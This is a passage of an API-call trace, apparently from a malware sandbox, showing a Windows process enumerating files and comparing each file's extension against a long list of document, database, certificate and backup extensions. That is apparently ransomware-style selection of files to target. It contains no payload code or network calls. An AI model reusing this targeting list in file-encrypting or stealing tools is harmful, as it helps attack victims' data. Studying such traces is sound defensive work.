	[0069.689] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".max") returned 4
	[0069.690] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".md") returned 3
	[0069.690] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.690] lstrlenW (lpString=".mda") returned 4
	[0069.690] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mdb") returned 4
	[0069.690] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mde") returned 4
	[0069.690] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mdf") returned 4
	[0069.690] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mdw") returned 4
	[0069.690] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mef") returned 4
	[0069.690] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mft") returned 4
	[0069.690] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mfw") returned 4
	[0069.690] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mht") returned 4
	[0069.690] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mhtml") returned 6
	[0069.690] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.690] lstrlenW (lpString=".mka") returned 4
	[0069.690] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mkidx") returned 6
	[0069.690] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.690] lstrlenW (lpString=".mkv") returned 4
	[0069.690] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mos") returned 4
	[0069.690] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mov") returned 4
	[0069.690] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.690] lstrlenW (lpString=".mp3") returned 4
	[0069.690] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.691] lstrlenW (lpString=".mp4") returned 4
	[0069.691] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.691] lstrlenW (lpString=".mpeg") returned 5
	[0069.831] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.831] lstrlenW (lpString=".mpg") returned 4
	[0069.831] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.831] lstrlenW (lpString=".mpv") returned 4
	[0069.831] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".mrw") returned 4
	[0069.832] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".msg") returned 4
	[0069.832] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".mxl") returned 4
	[0069.832] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".myd") returned 4
	[0069.832] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".myi") returned 4
	[0069.832] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".nef") returned 4
	[0069.832] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".nrw") returned 4
	[0069.832] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".obj") returned 4
	[0069.832] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".odb") returned 4
	[0069.832] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".odc") returned 4
	[0069.832] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".odm") returned 4
	[0069.832] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".odp") returned 4
	[0069.832] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".ods") returned 4
	[0069.832] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".oft") returned 4
	[0069.832] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".one") returned 4
	[0069.832] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.832] lstrlenW (lpString=".onepkg") returned 7
	[0069.832] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.832] lstrlenW (lpString=".onetoc2") returned 8
	[0069.832] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.832] lstrlenW (lpString=".opt") returned 4
	[0069.832] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".oqy") returned 4
	[0069.833] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".orf") returned 4
	[0069.833] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".p12") returned 4
	[0069.833] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".p7b") returned 4
	[0069.833] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".p7c") returned 4
	[0069.833] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pam") returned 4
	[0069.833] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pbm") returned 4
	[0069.833] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pct") returned 4
	[0069.833] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pcx") returned 4
	[0069.833] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pdd") returned 4
	[0069.833] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pdf") returned 4
	[0069.833] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pdp") returned 4
	[0069.833] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pef") returned 4
	[0069.833] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pem") returned 4
	[0069.833] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pff") returned 4
	[0069.833] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pfm") returned 4
	[0069.833] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pfx") returned 4
	[0069.833] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".pgm") returned 4
	[0069.833] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.833] lstrlenW (lpString=".php") returned 4
	[0069.833] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".php3") returned 5
	[0069.834] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".php4") returned 5
	[0069.834] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".php5") returned 5
	[0069.834] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".phtml") returned 6
	[0069.834] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.834] lstrlenW (lpString=".pict") returned 5
	[0069.834] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".pl") returned 3
	[0069.834] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.834] lstrlenW (lpString=".pls") returned 4
	[0069.834] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".pm") returned 3
	[0069.834] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.834] lstrlenW (lpString=".png") returned 4
	[0069.834] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".pnm") returned 4
	[0069.834] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".pot") returned 4
	[0069.834] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".potm") returned 5
	[0069.834] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".potx") returned 5
	[0069.834] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".ppa") returned 4
	[0069.834] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".ppam") returned 5
	[0069.834] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".ppm") returned 4
	[0069.834] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".pps") returned 4
	[0069.834] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.834] lstrlenW (lpString=".ppsm") returned 5
	[0069.834] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.834] lstrlenW (lpString=".ppt") returned 4
	[0069.834] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".pptm") returned 5
	[0069.835] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.835] lstrlenW (lpString=".pptx") returned 5
	[0069.835] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.835] lstrlenW (lpString=".prn") returned 4
	[0069.835] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".ps") returned 3
	[0069.835] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.835] lstrlenW (lpString=".psb") returned 4
	[0069.835] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".psd") returned 4
	[0069.835] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".pst") returned 4
	[0069.835] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".ptx") returned 4
	[0069.835] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".pub") returned 4
	[0069.835] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".pwm") returned 4
	[0069.835] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".pxr") returned 4
	[0069.835] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".py") returned 3
	[0069.835] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.835] lstrlenW (lpString=".qt") returned 3
	[0069.835] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.835] lstrlenW (lpString=".r3d") returned 4
	[0069.835] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".raf") returned 4
	[0069.835] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.835] lstrlenW (lpString=".rar") returned 4
	[0069.835] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.835] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.836] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.836] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.836] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0069.836] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.836] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0069.836] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0069.836] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121890
	[0069.837] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.837] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.837] lstrlenW (lpString="eula.rtf") returned 8
	[0069.837] lstrlenW (lpString=".1cd") returned 4
	[0069.837] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.837] lstrlenW (lpString=".3ds") returned 4
	[0069.837] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.837] lstrlenW (lpString=".3fr") returned 4
	[0069.837] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.837] lstrlenW (lpString=".3g2") returned 4
	[0069.837] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.837] lstrlenW (lpString=".3gp") returned 4
	[0069.837] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.837] lstrlenW (lpString=".7z") returned 3
	[0069.837] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.837] lstrlenW (lpString=".accda") returned 6
	[0069.837] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.837] lstrlenW (lpString=".accdb") returned 6
	[0069.837] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.837] lstrlenW (lpString=".accdc") returned 6
	[0069.837] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.837] lstrlenW (lpString=".accde") returned 6
	[0069.837] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.838] lstrlenW (lpString=".accdt") returned 6
	[0069.838] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.838] lstrlenW (lpString=".accdw") returned 6
	[0069.838] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.838] lstrlenW (lpString=".adb") returned 4
	[0069.838] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".adp") returned 4
	[0069.838] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai") returned 3
	[0069.838] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai3") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai4") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai5") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai6") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai7") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ai8") returned 4
	[0069.838] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".anim") returned 5
	[0069.838] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.838] lstrlenW (lpString=".arw") returned 4
	[0069.838] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".as") returned 3
	[0069.838] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.838] lstrlenW (lpString=".asa") returned 4
	[0069.838] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".asc") returned 4
	[0069.838] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".ascx") returned 5
	[0069.838] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.838] lstrlenW (lpString=".asm") returned 4
	[0069.838] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.838] lstrlenW (lpString=".asmx") returned 5
	[0069.839] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.839] lstrlenW (lpString=".asp") returned 4
	[0069.839] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".aspx") returned 5
	[0069.839] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.839] lstrlenW (lpString=".asr") returned 4
	[0069.839] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".asx") returned 4
	[0069.839] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".avi") returned 4
	[0069.839] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".avs") returned 4
	[0069.839] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".backup") returned 7
	[0069.839] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.839] lstrlenW (lpString=".bak") returned 4
	[0069.839] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".bay") returned 4
	[0069.839] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".bd") returned 3
	[0069.839] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.839] lstrlenW (lpString=".bin") returned 4
	[0069.839] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".bmp") returned 4
	[0069.839] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".bz2") returned 4
	[0069.839] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".c") returned 2
	[0069.839] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.839] lstrlenW (lpString=".cdr") returned 4
	[0069.839] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".cer") returned 4
	[0069.839] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.839] lstrlenW (lpString=".cf") returned 3
	[0069.839] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.839] lstrlenW (lpString=".cfc") returned 4
	[0069.839] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cfm") returned 4
	[0069.840] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cfml") returned 5
	[0069.840] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.840] lstrlenW (lpString=".cfu") returned 4
	[0069.840] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".chm") returned 4
	[0069.840] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cin") returned 4
	[0069.840] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".class") returned 6
	[0069.840] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.840] lstrlenW (lpString=".clx") returned 4
	[0069.840] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".config") returned 7
	[0069.840] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.840] lstrlenW (lpString=".cpp") returned 4
	[0069.840] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cr2") returned 4
	[0069.840] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".crt") returned 4
	[0069.840] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".crw") returned 4
	[0069.840] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cs") returned 3
	[0069.840] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.840] lstrlenW (lpString=".css") returned 4
	[0069.840] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".csv") returned 4
	[0069.840] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".cub") returned 4
	[0069.840] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".dae") returned 4
	[0069.840] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".dat") returned 4
	[0069.840] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.840] lstrlenW (lpString=".db") returned 3
	[0069.841] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.841] lstrlenW (lpString=".dbf") returned 4
	[0069.841] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dbx") returned 4
	[0069.841] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dc3") returned 4
	[0069.841] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dcm") returned 4
	[0069.841] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dcr") returned 4
	[0069.841] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".der") returned 4
	[0069.841] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dib") returned 4
	[0069.841] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dic") returned 4
	[0069.841] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dif") returned 4
	[0069.841] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".divx") returned 5
	[0069.841] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".djvu") returned 5
	[0069.841] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".dng") returned 4
	[0069.841] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".doc") returned 4
	[0069.841] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".docm") returned 5
	[0069.841] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".docx") returned 5
	[0069.841] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".dot") returned 4
	[0069.841] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.841] lstrlenW (lpString=".dotm") returned 5
	[0069.841] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".dotx") returned 5
	[0069.841] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.841] lstrlenW (lpString=".dpx") returned 4
	[0069.841] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dqy") returned 4
	[0069.842] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dsn") returned 4
	[0069.842] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dt") returned 3
	[0069.842] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.842] lstrlenW (lpString=".dtd") returned 4
	[0069.842] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dwg") returned 4
